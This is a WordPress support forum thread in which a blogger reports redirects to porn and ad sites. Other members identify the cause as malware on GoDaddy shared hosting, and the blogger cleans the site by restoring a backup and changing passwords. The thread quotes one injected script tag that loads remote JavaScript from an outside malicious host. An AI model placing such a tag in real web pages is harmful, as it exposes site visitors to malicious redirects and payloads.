WordPress.org

Ready to get started?Download WordPress

Forums

Virus: Redircts on Blog Posts, Unknown Code in Quickpress (5 posts)

  1. migrationology
    Member
    Posted 3 years ago #

    When I click on a blog post link, it sometimes (not always) says "the page you are looking for has move," and then redirects to a porn site or advertisement.

    I have an unknown script code:
    <script src="http://welcometotheglobalisnet.com/js.php?kk=25"></script>
    that shows up in the quickpress box, on the dashboard of wordpress.

    Any ideas of what this is or what I need to do to get rid of this?

    My url is: http://migrationology.com (however right now my site is down 403 Forbidden, but I think that is just my server doing maintenance)

  2. Samuel B
    moderator
    Posted 3 years ago #

  3. Daniel Cid
    Member
    Posted 3 years ago #

    Your site is still infected:
    http://sitecheck.sucuri.net/scanner/?scan=http://migrationology.com/

    It seems to be a new malware affecting GoDaddy shared servers today... We already saw a few sites with it:

    http://blog.sucuri.net/2011/02/hilary-kneber-godaddy-and-welcometotheglobalisnet-com.html
    http://sucuri.net/malware/malware-entry-mwgdd5

    Thanks,

  4. 123milliseconds
    Member
    Posted 3 years ago #

    Site verified to be secure and malware-free.
    Security report (no threats found):
    Blacklisted: No
    Malware: No
    Malicious javascript: No
    Drive-By Downloads: No
    Anomaly detection: No
    IE-only attacks: No
    Malicious iframes: No
    Suspicious redirections: No
    Spam: No

  5. migrationology
    Member
    Posted 3 years ago #

    Thanks so much for all your help. I actually ended up restoring the files on my server to a few days before and then upgraded and changed all my passwords.

    The searches are coming up negative now, so I'm re-submitting back to google.

    Thanks for the help!

Topic Closed

This topic has been closed to new replies.

About this Topic